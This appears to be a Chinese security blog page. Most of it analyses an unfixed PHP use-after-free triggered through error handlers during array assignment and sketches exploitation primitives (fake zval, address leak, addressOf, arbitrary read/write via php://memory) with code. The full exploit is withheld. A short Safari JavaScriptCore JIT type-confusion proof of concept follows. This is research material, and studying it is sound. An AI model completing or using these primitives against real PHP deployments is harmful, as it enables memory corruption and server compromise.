你可以试着将前面的resize操作换成unset或者reassign,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$array = range(0, 7);

set_error_handler(function($err, $msg) {
global $array;
// $array = 2;
unset($array);
});

function crash() {
global $array;
$array[0] += $var; //undefined notice
}

crash();

两个情况有些不太一样:

  1. unset($array),只是将$array在当前function scope内给"清理"掉了,并不影响全局变量中的$array,所以这里没有问题。
  2. $array = 2会影响到所有引用到它的地方,因此这里产生了和resize一样的问题。

有趣地是,官方已经注意到这样的问题,比如它对undefined index (i.e., $arr[$undef_var] = 1)产生的副作用做出了检查。而对要写入的值没有做检查。

  1. 这里它首先让ht (HashTablezend_array的别名) 引用计数加1,把这个array hold住。
  2. 等错误处理函数返回之后,再减去这个前面加上的引用计数,如果引用计数没有发生变化,说明array没有被释放。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static zend_never_inline zend_uchar slow_index_convert(HashTable *ht, const zval *dim, zend_value *value EXECUTE_DATA_DC)
{
switch (Z_TYPE_P(dim)) {
case IS_UNDEF: {
/* The array may be destroyed while throwing the notice.
* Temporarily increase the refcount to detect this situation. */
if (!(GC_FLAGS(ht) & IS_ARRAY_IMMUTABLE)) {
GC_ADDREF(ht);
}
ZVAL_UNDEFINED_OP2();
if (!(GC_FLAGS(ht) & IS_ARRAY_IMMUTABLE) && !GC_DELREF(ht)) {
zend_array_destroy(ht);
return IS_NULL;
}
// ...

1.4 可能的修复方法

ZEND_ASSIGN_DIM或者ZEND_ASSIGN_DIM_OP (同时包括所有的array fetch操作) 改成支持multi-index, 是我觉得最直接的手法。比如前面的$array['a']['b'] = $var;会被翻译为

1
2
3
L0 : V2 = FETCH_DIM_W CV0($array) string("a")
L1 : ASSIGN_DIM V2 string("b")
L2 : OP_DATA CV1($var)

那么现在直接翻译为

1
2
L0 : ASSIGN_DIM CV0($array) [string("b"), string("b")]
L1 : OP_DATA CV1($var)

并且再此之前把所有的indexs和带待写入的var对应的表达式全部计算完成。注意这并不会改变现在PHP求值顺序. 考虑如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

function func1() {
echo "func1\n";
return 1;
}

function func2() {
echo "func2\n";
return 2;
}

$a = [];
set_error_handler(function($err, $msg){echo $msg."\n";});
echo $a[func1()][func2()];
/* output at PHP 8.3.3:
func1
func2
Undefined array key 1
Trying to access array offset on null
*/

可以看到index也是全部是先计算完成的。

1.5 事情永远没有想的那么简单

我之前不打算为这个问题在PHP的repo上开一个issue, 因为我觉得这个问题PHP的核心开发者都知道。它第一次出现地方bug78598,nikic当时只注意到了undefined index,这发生在2019年。但我还是为此开了一个issue,因为借此机会提醒一下PHP开发者。从这个issue里面,我才知道了原来有人还在为此努力。我也才意识到上面给出的fix只能修复单纯的array assignment/fetch,因为我忘记了还有object assignment和fetch也有此类问题。Ilija Tovilo为此做出了两次努力:

first commit:

https://github.com/iluuu1994/php-src/commit/fa475eac27dd7ab23e3670a1b3f19e4ad914210d

second commit:

https://github.com/iluuu1994/php-src/commit/198b22ac63e4c25028bccf8a5e9168d1ff2f0443

很感谢lija,和他交流中得知了delayed error这个想法。这个想法和我前面的想法完全相反,我前面想法是希望尽可能地把errors抛出来,使得由此引发的副作用在fetch address of element之前早早的生效。而delayed error是希望将array assignement过程发生的error延迟到array assignment完成之后再处理。

delayed error handling实际和正常的exception handling有点像,不同的是在delayed error handling结束之后会调到触发它的next opcode继续执行。有点像functional programming里面的algebraic effects. 在实现delayed error handling的细节上还是有些问题的,比如如何在目前的PHP JIT中处理它,目前PHP中哪些地方需要这个机制,需要人为的去trigger它。更多的细节可以查看issue

这问题比我当初想的还要复杂,lija称其为" fundamentally hard "。它大概在未来还会存在一段很长的时间...

0x02 三只蝴蝶 (butterfly)

TL;DR. 如果不想听故事可以跳过这一章节。

四年前,在知道了这个问题之后,我就开始了探索应该如何利用它。非常可惜,我不太聪明,四年都没有能想出个招。这四年,我的工作也和PHP紧密结合在一起,在PHP里面写了大概有40-50k行代码吧,以至于我近乎写出了一个全新的PHP解释器,很难想象这是一个做安全的人在做的事情。所以我对PHP要稍微了解那么多一点点。

我能完成这篇文章,是因为有三只蝴蝶。第一只蝴蝶,教会我了一些新的方法; 第二只蝴蝶,让我发现了新大陆; 第三只蝴蝶,带我走出了困境。

之前,我其实一直被困在一个误区里面。我的基本想法是:

  1. array会被resize。
  2. 然后我马上拿到array释放的内存,这样就可以造一个UAF出来。

这里没有问题。

这里贴一下前面的关于ZEND_ASSIGN_DIM_OP类似的ZEND_ASSIGN_DIM的伪代码:

1
2
3
4
5
6
// array = [0, 1, 2, 3, 4, 5, 6, 7]
arr_base = get_addr_of(array)
elem_addr = get_addr_of(array_base, index)
elem = get_elem_from_addr(elem_addr)
check_var(var)
assign_var_to_elem(elem, var)

但是问题来了,其中assign_var_to_elem只能像目标内存写一个特殊的null (前面提到var会被初始化为null)值, 并且过程中需要对elem进行检查。换句话说目标内存需要有比较苛刻的memory layout. 其次受鸟哥代码中的a[0] += $var影响,我觉得这个null只能在这块内存稍前的位置写入。这就是我的误区。结合以上原因一直让我找不到一个合适的structure来hold这块内存。

过去我逐渐地其实不太关注PHP里面的安全了,有时候写代码也会发现一些问题,但也觉得就那么回事。直到最近看见了关于LockBit的新闻,突然有了兴趣,才有了《CVE-2023-3824: 幸运的Off-by-one (two?)》[5] 一文。在文章写完后的几天,我又去逛逛了安全圈看看大家都在研究什么,在这过程中发现那三只蝴蝶。

首先发现了一篇《WebAssembly安全研究总结》[6]。 这篇文章中重要介绍了如何通过构造恶意的bytecode来攻击Wasm引擎,挺有趣的,也行PHP opcache中的也有类似的问题。我个人比较喜欢解释器和编译器上的一些安全研究,然后我就想去看看有没有关于Wasm更深入一点研究,搜索了一下作者其他的文章。

第一只蝴蝶

我又发现了作者有许多关于JavaScriptCore (jsc) 的研究,我之前是没有接触过jsc,只短暂接触过V8。感觉似乎挺有趣的,那就来感受一下吧。在文章[7]和系列文章[8]的帮助下,使得我的博客中又多了一篇《CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT》。在这过程中积累了一点点关于jsc的姿势。特别地,里面的部分构造(box/unbox)让我大开眼界,可谓是相当之精彩,以至于后面在PHP的构造中我都想重现它。 jsc里面有一个用来作为存储JSObject的properties和elements特殊结构叫butterfly, 因为其内存结构像一只带翅膀的蝴蝶,顾名butterfly。ascii graph来自[9]

1
2
3
4
5
6
7
8
9
10
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+

在jsc的利用中都频繁地使用到了这个结构,包含我前面提到的box/unbox技术。这是第一只蝴蝶。

第二只蝴蝶

在看[9]的过程中,我又看到了saelo(前google project zero成员, 目前V8 JS引擎的安全负责人)的博客中《Pwning Lua through 'load'》[10]。 真苦恼,都是我喜欢读的东西,那就看吧。让我比较惊讶的Lua竟然没有bytecode verifier,文章内容和第一篇攻击Wasm引擎的内容比较相似。然后我又想看看Lua上的一些安全研究,搜索了到一系列来自bigshaq关于LuaJIT方面的安全研究[11],在里面遇到了第二只蝴蝶。LuaJIT的jit complier会将收集到的trace翻译成的IR放在一个类似butterfly结构中。形如

1
2
3
4
5
6
7
8
9
10
11
12
                                                  
-----------------------------------------
| | | | |
|const2|const1|inst1|inst2|
| | | | |
--------------------▲-----------─---------


┌──────┐ │
│ ir_p ├─────────┘
└──────┘

instructions在一边翅膀,而constants在另一边翅膀。在这短暂的LuaJIT之旅中,又积累了一些关于LuaJIT的知识,但是我觉得最后研究的安全问题太刻意,毕竟是CTF的题,可以理解嘛。不过利用JIT code中的guarded assertions来固定shellcode的技术确实不错。

最后一只蝴蝶

PHP 8中的JIT技术深受LuaJIT影响。以至于bigshaq博客在一篇关于PHP文章中,给PHP打了patch,就把LuaJIT上相关利用直接拿到PHP上。绕了一大圈我又回到了PHP,我突然发现Dmitry整出了一套JIT Compilation Framework [11],名字就叫IR。Dmitry是那个一个人写了PHP中几乎全部optimizers的男人,我对其从心里佩服。听闻IR之后,让我内心久久不能平静,依托IR的全新JIT compiler已经merge到了PHP-src的主线上,令人抓狂的DynAsm终于不见了。我又马上看了一眼Dmitry对其的介绍[13],未来我终于有机会不用在PHP bytecode上做优化了。我看到了类似V8 TurboFan中的Sea of Nodes,及其各种补全的优化算法。这一刻,我打算以后为它也做点什么。因为Dmitry写的那些optimizers曾经陪伴我了很多时候。

我又想到文中这个IR缺陷,我觉得它应该结束了。我又开始了审视它,目光又重新对准了PHP中zend_array,它那里不恰好也有一只蝴蝶吗? 下面ascii来自[14]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
* HashTable Data Layout
* =====================
*
* +=============================+
* | HT_HASH(ht, ht->nTableMask) | +=============================+
* | ... | | HT_INVALID_IDX |
* | HT_HASH(ht, -1) | | HT_INVALID_IDX |
* +-----------------------------+ +-----------------------------+
* ht->arData ---> | Bucket[0] | ht->arPacked ---> | ZVAL[0] |
* | ... | | ... |
* | Bucket[ht->nTableSize-1] | | ZVAL[ht->nTableSize-1] |
* +=============================+ +=============================+
*/

PHP中有两种特殊的数组,packed array和mixed array,我在考虑它们的时候,突然想起了这只蝴蝶。原来不用在内存稍前的位置写入那个null,完全可以在内存的中间写入这个null. 甚至我都忘记了可以通过拨动index来控制写入这个null的位置,这一错就是四年。原来那只蝴蝶一直都在那里,都在那个我能看得见的枝头。

0x03 PHP前置知识

在开始构造我们exploitation之前,读者需要熟悉和理解一下PHP internals相关知识。

3.1 zval 结构

PHP中的变量都是以zval 的形式出现的,它是一个tagged union形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// Zend/zend_types.h
typedef union _zend_value {
zend_long lval; /* long value */
double dval; /* double value */
zend_refcounted *counted;
zend_string *str;
zend_array *arr;
zend_object *obj;
zend_resource *res;
zend_reference *ref;
zend_ast_ref *ast;
zval *zv;
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;

struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
} u1;
union {
...
} u2;
};

这在编程语言设计中非常常见,比如JavaScriptCore里面对应的变量表示形式JSValue。所以在了解编程语言内部的时候,你需要提早关注它里面的变量表示形式。其中zval.value会存储变量对应的真正值,而zval.u1.type_info会存储变量对应的类型信息。

3.2 PHP基本类型

PHP中基本类型有

1
2
3
4
5
6
7
8
9
10
11
12
13
// Zend/zend_types.h
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10
#define IS_CONSTANT_AST 11 /* Constant expressions */

它们出现在zval.u1.v.type中。

  1. undefinednullfalsetrue 可以直接用类型信息区分;
  2. longdouble直接以primitive value存储在zval.value.lvalzval.value.dval中;
  3. stringarrayobjectresourcereferenceconstant_ast都有对应的具体结构,其地址将以指针的形式存放在zval.value.str, zval.value.arr ... 中。

3.3 zend_string结构

zend_string用于描述上面提到的string类型。其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _zend_refcounted_h {
uint32_t refcount; /* reference counter 32-bit */
union {
uint32_t type_info;
} u;
} zend_refcounted_h;

struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};

其中:

  1. zend_string.gc : 我通常叫它gc_info,里面有一个比较重要是zend_string.gc.refcount表示引用计数;
  2. zend_string.h : 用于缓存对该string计算过的hash值;
  3. zend_string.len : 用于表示该string表示字符串长度;
  4. zend_string.val: 用于表示string表示字符串具体内容,而字符串内容位于zend_string结构其后的连续内存上。

3.4 Packed and Mixed Array

PHP中两种类型的数组:

  1. packed array : 用整数作为index连续存放的数组 i.e., $arr = [1,2,3,4];
  2. mixed array: 混合了以字符串以index作为的数组 i.e., $arr = [1, 'key1' => 'val1'];

我们来介绍一下在array中的butterfly. 首先是packed array:

1
2
3
4
5
6
7
8
9

+=============================+
| HT_INVALID_IDX |
| HT_INVALID_IDX |
+-----------------------------+
ht->arPacked ---> | ZVAL[0] |
| ... |
| ZVAL[ht->nTableSize-1] |
+=============================+

其中zend_array.arData 实际指向存储的第1个元素,注意到它并不是指向当前申请的内存起始位置,前面还有两个index cells (一个cell大小为4字节),我们称其为index table. 可以看到在其上都存放着HT_INVALID_IDX (值为-1)。因为packed array, 不需要对index做hash, 直接根据index在arData上取值即可。那这两个invalid index在这里是干啥呢?为了照顾在整数/非整数 index上的数组统一操作。我之前就困在packed array之上。

再一个就是mixed array:

1
2
3
4
5
6
7
8
9
                +=============================+
| HT_HASH(ht, ht->nTableMask) |
| ... |
| HT_HASH(ht, -1) |
+-----------------------------+
ht->arData ---> | Bucket[0] |
| ... |
| Bucket[ht->nTableSize-1] |
+=============================+

mixed array中的元素也是顺序存储的, 位于一块连续的内存上 (ht->arData)。为了解决hash冲突,PHP会通过一张隐式的链表将hash冲突的元素连接起来。为了在mixed array中根据index找到正确的元素,会做这样以下操作:

  1. 对index做hash, 得到值h;
  2. 根据h计算它落在index table的位置 h | ht->nTableMask。每一个index cell中都存储目标元素所在链表的头结点与ht->arData的offset;
  3. 因此会从ht->arData[h | ht->nTableMask]开始遍历链表,比照index,找到目标元素。

在mixed array中,index table中index cells的个数是这个array可存储元素容量的2倍。在array扩容的过程中依然会保持这个关系,例如如果array可以存储8个元素,那么就有16 index cells。它们总计大小,即是对应butterfly区域内存大小。

无论是packed array或者mixed array它们的容量最小都是8个元素,而每次扩容都是double。特别地是,PHP数组存储单个元素的结构为Bucket, 其定义如下:

1
2
3
4
5
typedef struct _Bucket {
zval val;
zend_ulong h; /* hash value (or numeric index) */
zend_string *key; /* string key or NULL for numerics */
} Bucket;
  1. Bucket.val 存放元素对应的value;
  2. Bucket.h 存放整型的index;
  3. Bucket.key 存放元素对应的key。

3.5 Variable Assignment

这里讲一下两个zval *var, *val之间的赋值过程,它对应Zend/zend_execute.h中两个函数zend_assign_to_variablezend_copy_to_variabl部分过程 。我用伪代码表示,因为适合突出一些重要的东西,并省略一些不太重要的信息。

1
2
3
4
5
6
7
8
// assign val to var
if var is refcouted:
var_value = get_value_from_zval(var);
copy_zval(var, val)
if (get_refcount(var_value) == 1)
free_value(var_value)
else
copy_zval(var, val)

它对应的两个函数明显会比我给出的伪代码复杂,但是我们不需要关注里面大多数cases。其中我们说一个zval是refcounted,意味它对应值需要额外分配内存,比如stringarrayobject这些都是,而nullfalsetruelongdouble它们不是refcounted,因为它们的值是直接保存在zval中的。这里赋值过程的核心逻辑是我们特别需要注意var原本的值。

我来解释一下这里在做什么:

  1. var是refcounted时,我们做以下操作:
    1. 首先我们用var_value记录了var的原值;
    2. 我们直接通过copy_zvalval拷贝到var上;
    3. 判断var的原值的引用计数是否为1,如果是1则释放掉var的原值。
  2. 反之,我们直接通过copy_zvalval拷贝到var

在1.3中var的原值的引用计数为1,意味着这个值只有var来用,当var被赋予新值之后,它的原值就没人用了,那么是可以释放掉的。其中copy_zval做了两件事情:

  1. val的值直接拷贝到var上;
  2. 按情况调整val所指向值的引用计数。

这里我们暂时不讨论是什么情况会调整引用计数。

3.6 Copy on Write

它的中文名叫写时复制,是一种比较常见的优化。考虑如下代码

1
2
3
4
5
$a = 'aaaa';
$b = $a;
echo $b;
$b .= 'b';
echo $b;

在第二行这里并不会直接复制字符串'aaaa' 给变量$b,而是把$a指向的string上引用计数加1. 在第4行这里才会将前面的字符串重新复制一份,用于连接字符串b,再将新的结果写入$b. 那么写时复制是如何判断的呢? 很简单,你只需要判断你指向的值的引用计数是否大于1.

以上就是这里我们需要知道的所有PHP里面的知识。

0x04 利用简述

我们的大致路线是:

  1. 构造fakeZval原语;
  2. 泄露堆上某个地址;
  3. 构造addressOf原语;
  4. 构造第一阶段有条件的读/写原语;
  5. 构造第二阶段稳定的任意读/写原语。

参考jsc中经常会fakeObj和addressOf原语, 我们来构造PHP中独特的fakeZval和addressOf。这篇文章不讨论后续利用,因为相关利用方式比较模板化,常规PHP漏洞利用中都有提到,不再累述,节省篇幅。

0x05 构造fake zval

这个技术的灵感来于jsc利用里面的fakeobj源语。

回忆一下,我们之前的想法

  1. 触发array的resize, 让array的butterfly被释放掉;
  2. 我们马上抢占这块butterfly对应的内存;
  3. null写在我们抢占这块内存所使用的结构上。

这里我们先搞清楚两个问题:

  1. null会写在butterfly的哪里?
  2. 结合我们前面理解的变量赋值过程,如何让写null这个操作顺利执行?

第1个问题,毫无意义,null写在你通过index指定的元素上. 例如我定义一个mixed array (这里的构造方式是为了防止PHP compiler将其优化成一个常量数组)如下:

1
2
3
4
5
6
7
8
9
10
11
$a1_str = 'eeee'
$victim_arr = array(
'a1' => $a1_str,
'a2' => 1,
'a3' => 1,
'a4' => 1,
'a5' => 1,
'a6' => 1,
'a7' => 1,
'a8' => 1,
);

它对应的memory layout如下(我们前面提到过,8个元素对应16个index cells):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                          ┌───────────────┐       
│ index_cell15 │ │
├───────────────┤ │
│ ... │ │
├───────────────┤ │
│ index_cell1 │ │
├───────────────┤ │
│ index_cell0 │ │ addr
$victim_arr['a1']──────► |───────────────┤ │
│ bucket0 │ │
├───────────────┤ │
│ bucket1 │ │
├───────────────┤ ▼
│ ... │
├───────────────┤
│ bucket7 │
└───────────────┘

如果要写这个数组的第1个元素 $a['a1'] = $undef_var,那么写入的位置相对于这块butterfly的其实地址的offset应该为4 * 16 = 64

第二问题,当上面的butterfly区域被释放后,我们马上构造一个大小合适的string来把它抢占。例如:

1
2
3
4
5
6
7
8
9
$zend_array_burket_size = 0x20;
$zend_table_index_size = 0x4;
$zend_string_size = 0x20;

$user_str_length = 16 * $zend_table_index_size + 8 * $zend_array_burket_size - $zend_string_size;
set_error_handler(function() {
$victim_arr['a9'] = 1;
$user_str = str_repeat('b', $user_str_length);
})

对于一个string, 它的前0x18字节属于header, 具体来说:

  1. +0x0 : 引用计数;
  2. +0x4 : gc信息;
  3. +0x08 : hash值缓存,如果对这个string做过hash,得到的hash会放在这个地方;
  4. +0x16 : 字符串长度;
  5. 其余部分存储字符串内容。

那么很显然要写的地方0x40落在了我们可控的字符串内容上。那么可以伪造一个zval,来满足前面提到过的赋值过程中的check,让null顺利的写到这个fake zval上。

0x06 泄露某个地址

绕过ASLR,或者是读写指定地址的内容,我们都需要先泄露一些地址,才能准确定位我们需要的地址。这里的过程比较trick,我们借助了PHP的弱类型转换。考虑如下代码:

1
2
3
4
$victim_arr['a1'] = true;
$victim_arr['a1'] .= null;
var_dump($victim_arr['a1']);
// output: string(1) "1"

在第3行这里,有一个string concact操作,会把$a['a1']null连接起来。但是它们都不是string,所以这里会经历一个弱转,true会被转成字符串"1",而null会被转成empty string。 最后值为"1"string写到$a['a1']上,所以$a['a1']会保存这个string的指针。通过前面UAF, $a['a1']实际位于我们可以控制的内存 (即$user_str)上,它对应我们使用fakeZval构造的zval。通过读取$user_str,我们就拿到了这个string的地址。

此时$user_str内存布局应该为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                              ┌──────────────┐                                 
│ │
│ string_header│
│ │
├──────────────┤0x18
│ │
│ ... │
│ │ string: '1'
fake_zval_with_null──────────►├──────────────┤0x40 ◄─────────────┬────────────┐
│ zval_value │ 0x0 │ │ gc_header │
├────────────────►├──────────────┤0x48 ├────────────┤
│ zval_type │ 0x3 │ │ hash │
└────────────────►├──────────────┤ ├────────────┤
│ │ │ len │
│ │ ├────────────┤
│ │ │ content │
└──────────────┘ └────────────┘

注意里面的0x3表示是这个fake zval是一个true。因为这个fake zval作为一个待赋值的zval,它只是一个null,非前面我们提到的refcounted类型的值。所以这里的赋值过程非常简单:

  1. string : "1"的地址复制到fake zval的zval.value.str中;
  2. 将fake zval类型修改为 is_string

注意这里有一个小问题,你会发现上述泄露出来的string地址不在PHP自己管理的堆上,用于存放各种PHP运行时结构。而是在glibc通过malloc/free管理的堆上。这是因为PHP对于字符串的一个小优化,PHP会将常见的字符串对应的string事先分配,如果在运行时,有碰到这些字符串,直接返回之前分配好的就行,避免频繁分配。而这些字符串在PHP是以persistent string出现的, 它们内存都是通过malloc分配的。

true弱转对应的当个字符"1"恰好就是这已知字符串中的一个,并且它在这里连接是一个empty string。使得最后结果依然这个已知的string。如果我们想到得到PHP自己堆上的一个地址,我们就必须绕过它。很简单,我们可以用int或者double来作为fake zval的值就行。

这里我使用的是int : (100),最后我们就得到了string : "100"的地址。为什么使用100,后面会提到。

0x07 获取一块内存

目前我们有string : "100"的地址str100_addr,我们先来看一下string : "100"的memory layout:

1
2
3
4
5
6
7
8
9
10
11
12
                    string : "100"             
┌────────────────────────┐
│ 0x0000001600000001 │gc_info
fake_string──►├────────────────────────┤
│ 0x0000000000000000 │hash
├────────────────────────┤
│ 0x0000000000000003 │len
├────────────────────────┤
fake_len─────►│ 0x00007fff00303031 │content
├────────────────────────┤
│ │
└────────────────────────┘

在content这里的0x303031其实对应字符串"100"。试想,我们如果利用fakeZval原语构造一个zval, 让它的类型为string,让它的值指向str100_addr + 0x8,即上图的fake_string处的位置。从fake_string开始,我们构造了一个新的string, 它的长度为0x00007fff00303031。其中出现的7fff是堆上的一些随机数据,这里的0x303031它是大于一个PHP中memory chunk的容量0x200000的,以至于这个fake_string能盖住整个memory chunk,这就是我之前用int : (100)的原因。

我们的想法是,我能不能利用这个fake_string读到内存后面的内容? 那么我需要拿到这个fake_string,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
reset_victim_arr_and_user_str();

set_error_handler(function() {
// resize
global $victim_arr;
global $user_str_length;
global $user_str;
global $first_elem_offset;
global $zend_string_header;

global $str100_addr;

$victim_arr['a9'] = 1;
$user_str = str_repeat('b', $user_str_length);

// construct fake zval that contains a fake zend_string;
// 1. zval.value.str <= $leak_addr + 0x8;
// 2. zval.u1.type_info <= is_string_ex == (6 | (1 << 8));
writestr64($user_str, $first_elem_offset - $zend_string_header, $str100_addr + 0x8);
writestr64($user_str, $first_elem_offset - $zend_string_header + 0x8, (6 | (1 << 8)));
});

$heap = $victim_arr['a1'] .= $undef_var;
  • 第1行 reset_victim_arr_and_user_str() 表示重置$victim_arr$user_str,以保证后面UAF的触发;
  • 在error_handler里面我们构造了一个fake zval, 指向我们的fake_string;
  • 注意第15行这里,我们用$heap hold了后面这个array assign的计算结果。后面array assign的计算结果是fake_string拼接一个empty string,那么这意味着$heap就是fake_string。

我们可以通过读取$heap来漫游PHP堆上的内容。更有趣的事,我们还可以修改$heap对应fake_string的内容,但不会触发copy-on-write (COW)。为什么不会触发COW呢? 按道理,$heap hold了array assign的计算结果,即为fake_string,那么fake_string的引用计数是需要加1的,如果fake_string的引用计数大于1,在我们修改$heap的时候,就会发生COW, 造成我们根本修改不到原来的fake_string上的内容。再退一步说,我们可能会在COW的造成PHP直接crash掉,因为fake_string的size可能会很大,比如参考前面的0x00007fff00303031

这里不会发生COW的原因在fake_string的gc_info中,它的值是原来string : "100"的hash,即为0x00。而在将array assign结果传递给$heap的过程中,fake_string的引用计数加1变成了1,而非大于1,以至于在后续对$heap修改过程中并不会发生COW。

0x08 构造addressOf

现在我们就有一个可读可写,并且我们知道它位置的内存。实际做到一步,我们已经可以停手了。比如像[5]中的利用方式一样:

  1. 在堆上喷射大量我们想要读取的内存结构,拿到我们想要的地址。
  2. 在堆上喷射大量我们想要写入的内容结构,写入我们希望的值。

在第一版exploitation我是这样的利用的。但是这里还是有很多不确定性,比如我们喷射的内存结构不在我们可以漫游的memory chunk中,就可能会失败。这时候我们需要重新调整fake_string的位置,比如先喷射大量的string : "100",让我们迁移到全新的memory chunk上。

没人喜欢不确定性,我也一样。这里我们来构造一个更加稳定的addressOf来帮助我们定位想要的内存结构位置。比如

1
2
3
4
5
6
$num = 1111;
$num_value = addressOf($num);
$str = "aaaaaaa";
$str_addr = addressOf($func);
$obj = new stdClass();
$obj_addr = addressOf($obj);

它有如下功能 :

  • 对于不是refcounted的值,我们直接可以通过addressOf来获取它的immediate value。比如上面的$num
  • 对于refcounted的值,我们可以通过addressOf来获取它的地址。比如上面的$str$obj

我们的想法是在前面这块内存上布置一个array : [0, 1, 2, 3, 4, 5, 6, 7]。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
array : [0, 1, 2, 3, 4, 5, 6, 7]                     
┌───────────────┐
│packed_arr_flag│ butterfly
├───────────────┤ ┌────────────────┐
│ ... │ │ invalid_idx │
│ ... │ ├────────────────┤
├───────────────┤ │ invalid_idx │
│ arData ├─────────────────►├────────────────┤
├───────────────┤ │ bucket0 │
│ ... │ ├────────────────┤
│ ... │ │ ... │
│ │ ├────────────────┤
│ │ │ bucket7 │
│ │ └────────────────┘
└───────────────┘

我们的想法:

  1. 控制这个fake array的引用计数为1;
  2. 使用fakeZval原语包装这个fake_array;
  3. 触发前面的UAF,fake_array被释放,我们马上申请一个相同的array $hax,拿到这块内存;
  4. 假设你要读取的值为$val, 那么使得$hax[0] = $val ;
  5. 那么我们再去$heap指定位置读butterfly上第一个元素的内容,即可获得我们想要的。

需要注意的是,在free一个小内存的时候,PHP是先定位它所在page,来判定它属于什么size的bin,再投放正确的到free_list上。所以你构造fake array的位置要确定好。如果你想绕过这个限制,你可以申请一块超大内存,来自己伪造memory chunk,具体可以参考[16]。

0x09 任意读/写原语

我目光对准了php://memory[15],PHP运行我们以文件操作的形式操作一块内存。控制这块内存大小的结构为,

1
2
3
4
5
6
7
typedef struct {
char *data;
size_t fpos;
size_t fsize;
size_t smax;
int mode;
} php_stream_memory_data;

我们的想法:

  1. $heap上布置和sizeof(php_stream_memory_data)大小的string;
  2. 利用UAF释放掉这个string,确保fopen("php://memory")在创建php_stream拿到;
  3. 修改上面的data指针和fpos以及fsize来读写任意的区域。

同样地,要注意释放string所在的page。

0x0A 完整的利用

暂时不提供,因为影响比较大,且没有修复。

0x0B 总结

我们分析了PHP IR中存在的问题,以及为什么长时间没有被修复,最后提出了一个修复建议。写下了我在探索这个问题时,给过我帮助的3只蝴蝶。最后给大家分享了我的利用方式,将JS引擎利用中的常见原语尝试搬到了PHP上。当走出了误区之后,在构造exploitation过程中诞生了许多ideas,实际这不是一个特别难的利用,只是我比较笨而已。我觉得不同解释器或者编译器的利用中都有很多相同点,可以相互借鉴学习,也许能帮你找到更多的思路。

最后,题目中的"PHP之殇",更多是对过去的一种告别,未来我会更多关注PHP中可能马上会release的新的JIT complier,希望在未来给大家带来我关于它的一些有趣的故事。

0x0C 引用

  1. 风雪之隅, https://www.laruence.com/
  2. 深入理解PHP7内核之HashTable, https://www.laruence.com/2020/02/25/3182.html
  3. crash.php, https://github.com/m4p1e/php-exploit/blob/master/crash.php
  4. zend_assign_dim_op, https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h#L1151
  5. CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/
  6. WebAssembly安全研究总结, https://mp.weixin.qq.com/s/cPUaDQaCWpZiBEgZqbqvPg
  7. JavaScript engine exploit(二),https://www.anquanke.com/post/id/183805
  8. Browser Exploitation, https://liveoverflow.com/topic/browser-exploitation/
  9. Attacking JavaScript Engine, http://www.phrack.org/issues/70/3.html
  10. Pwning Lua through 'load', https://saelo.github.io/posts/pwning-lua-through-load.html
  11. LuaJIT Internals: Intro, https://0xbigshaq.github.io/2022/08/22/lua-jit-intro/
  12. dstogov/ir, https://github.com/dstogov/ir
  13. https://www.researchgate.net/publication/374470404_IR_JIT_Framework_a_base_for_the_next_generation_JIT_for_PHP
  14. Zend/zend_types.h, https://github.com/php/php-src/blob/master/Zend/zend_types.h
  15. PHP memory wrapper https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory
  16. RWCTF2021 Mop 0day Writeup, https://m4p1e.com/2021/01/13/rwctf2021-master-of-php/

CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT

0x00 Official Bug Reports

Bug report: https://bugs.webkit.org/show_bug.cgi?id=191731

关键的Patch:

1
2
3
4
5
6
7
// Source/JavaScriptCore/builtins/RegExpPrototype.js
function hasObservableSideEffectsForRegExpMatch(regexp)
{
// ...
- return !@isRegExpObject(regexp);
+ return typeof regexp.lastIndex !== "number";
}

[5] 官方介绍.

0x01 Simple POC

来自[1].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310

var funcToJIT = function() {
'abc'.match(reg);
victim_array[0] = val;
}

for (var i = 0; i < 10000; ++i){
funcToJIT()
}

regexLastIndex = {};
regexLastIndex.toString = function() {
victim_array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])

它的运行结果:

  1. 在第20行之后, victim_array[0]类型为Pointer (预期类型为Double), 而值却为 5.2900040263529e-310 == 0x0000616161616161.
  2. 在第21行尝试调用victim_array[0].toString(), 但是它是一个invalid pointer, 因此产生了segmentfault.

造成原因:

  1. 第10-12行触发JIT之后, 使得第7行这里有一个PutByVal without type check, 会直接将val写入对应的内存, 不考虑它的类型. 这是因为JIT compiler在优化时, 认为val值没有发生变化. 更具体地说, 在第6行这里读取lastIndex时产生的副作用(调用.toString())没有被考虑到.

